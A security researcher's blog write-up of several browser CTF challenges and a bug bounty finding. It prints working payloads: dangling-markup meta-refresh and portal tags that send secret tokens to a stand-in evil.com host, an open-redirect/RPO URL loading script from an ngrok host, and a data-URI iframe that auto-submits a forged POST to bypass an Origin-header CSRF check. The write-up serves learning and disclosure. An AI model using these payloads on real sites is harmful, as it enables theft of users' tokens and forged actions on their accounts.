The Tangled Browsers: Beyond XSS  (Part 1)

I spend most of my time playing CTFs; I love solving binary exploitation and web challenges. Recently I concentrated more on web challenges, especially the client-side challenges based on the browsers' weird behaviors and their security features. Looking for client-side issues on bug bounty targets became my favorite Jutsu.

In a series of write-ups, I want to share some of the cool things I came across while playing CTFs and hunting. I made this write-up as parts because there are issues I want to share, which I submitted to GoogleVRP and a private program on Hackerone and made a few five-digit bounties.

Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; form-action 'none'; base-uri 'none': Don't dare to try an XSS.

Few days ago, Luan Herrera posted a challenge on twitter as a warmup for @Pwn2Win CTF and it took me two days to solve. 

Overview

Looking at the CSP of the below response of the challenge page, there is no way we can get XSS on the page, so two things came into my mind one is XS-Search, and the other is Dangling Markup. I tried XS-Search for some time, but I couldn't come up with an idea to perform the search. After looking clearly at the HTML source, it's evident that we need to use dangling Markup to steal the token, check the single quote here: <h3>Winner's HoF</h3>.

To know more about dangling markup check this portswigger.net/web-security/cross-site-scripting/dangling-markup

Initially, I thought this is an easy challenge but later I came to know about few caveats.

Caveats

1. We can't just use <img src="https://evil.com?a='  because it violates the CSP.

2. We can use <meta http-equiv='refresh' content='0;https://evil.com? which gracefully bypasses CSP and redirects to evil.com with the flag which works in all browsers but not in chrome. Plus, luan told in the description that the solution should work in chrome.

 The reason the solution in 2nd point won't work in chrome because it has a security feature which blocks URLs contain '\n', '<` to stop dangling markup attacks :/. https://www.chromestatus.com/feature/5735596811091968

Solution with user interaction

In this blog post: Evading CSP with DOM-based dangling markup, @garethheyes, discussed using the base tag to set the window.name to the data we want to exfil by making the user click on a link.

Obviously, its not the solution we are looking for since the challenge should be solved without user interaction.

Solution with portal tag

We can use portal tag to leak the flag, but only constraint is we need to enable it

<portal src='https://evil.com?a=

You can find the cool research on portal tag here, by SecurityMB 

Then I went to Cure53 HTTPLeaks GitHub repository in a hope to find a tag that is not restricted by chrome security features, initially link-prerender, link-prefetch looked promising, but chrome security feature is blocking those.

Now, it became obvious to me that we need to bypass chrome security feature.

After spending so much time and brainstorming, I finally came to a solution using meta tag redirect. I thought if chrome is blocking URLs with '\n', '<' in the HTTP URL, what about other schemes like Intent, which works in android and the FTP? Indeed, it turned out to be the solution.

Solution

<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

<font id="secret" color="white">

CTF-BR{c0m3_pl4y_Pwn2Win_2020_CTF_on_May_29_https://pwn2win.party/}

</font>

<h3>Winner's HoF</h3>

I submitted the solution to luan, and he said you could use other schemes, obviously its FTP, we can set up rogue FTP and can leak the flag. I discussed the solution with Alex, and he told me that the solution wouldn't work in chrome canary as chrome will deprecate it soon.

Security MB's XSS Challenge

 Michał Bentkowski posted a challenge on twitter, and I gave it a try, initially looking at the source(below) I thought it's impossible to solve, I saw comments of others saying this challenge is impossible to solve and it's a 0-day. So I backed off, later I saw some people solving the challenge so gave it a try, and solved it.

Description: XSS challenge #2

Rules:

• Please enter some HTML. It gets sanitized and inserted to a <div>.

• The task is: execute alert(1).

• The solution must work on current version of at least one major browser (Chrome/Edge, Firefox, Safari).

• If you find a solution, please DM me at Twitter: @SecurityMB.

• The challenge is based on code seen in the wild.

function process() { 

     const input = getInput();

     history.replaceState(null, null, '?xss=' + encodeURIComponent(input));

     const div = document.createElement('div');

     div.innerHTML = sanitize(input);

     // document.body.appendChild(div)

}

process();

We can see in the above code, taking input from the user, sanitizing it, and assigning sanitized input to the innerHTML of the div tag. Still, the div tag is not appended to the DOM Tree, that comment made me think that it's not possible to solve the challenge, but after fiddling a lot using jsbin.com, I noticed a peculiar behavior when I gave <img src=x>, check the below screenshot.

What in the world was happening here? ref: https://jsbin.com/tejibinoha/edit?html,console,output

Then I thought it might be some optimization to prefetch the resources; you can see in the jsbin that event handlers are also working, so that's it! The only thing we need to do is find an issue in sanitize function.

I am leaving it to readers to find an issue in sanitize function and pop an alert box. https://securitymb.github.io/xss/2/?xss=

filedescriptor's Intigriti XSS challenge.

I don't want to go deep into this challenge, there are many writeups like this one https://twitter.com/filedescriptor/status/1263860325515882496?s=20 from filedescriptor himself, this challenge took so much time to solve, but these challenges show how different browsers behave weirdly and how tangled they are. These behaviors inspire me to learn about this stuff.

Solution:

To put this thing in simple words,

There is an open redirect and RPO, and firefox won't decode the last encode dot.

So we traverse back and fool server (which actually decodes the last encoded dot) that we are not redirecting and fool browser to load javascript with open redirect+rpo.

https://challenge.intigriti.io//7cdb2ae2.ngrok.io/.%2e

Check this resource https://www.mbsd.jp/Whitepaper/rpo.pdf,

Bad CSRF Mitigation

This is not a CTF challenge, but a neat trick which I learned from my CTF teammate Ajay. Recently when I am hunting on a private program on Hackerone, I came across an application that is mitigating CSRF by origin check. It seems secure to me initially; later, I found that if we delete the origin header, the server was still accepting the request.

So, our goal is to construct a request without an origin header. Yeah, we can do this in Firefox by loading an iframe with a data scheme, which has a null origin.

<iframe src='data:text/html,

             <body onload="document.forms[0].submit()">

             <form action="//victim.com/perform_some_action" method="post">

             </body>

            '

>

</iframe>

We cant do this in chrome because it sets Origin: null header for above request, and firefox omits the header when there is no origin.

That's it for Part 1 of Tangled Browsers; soon, I will add the other parts. 

If you have any queries or suggestions, DMs are open https://twitter.com/S1r1u5_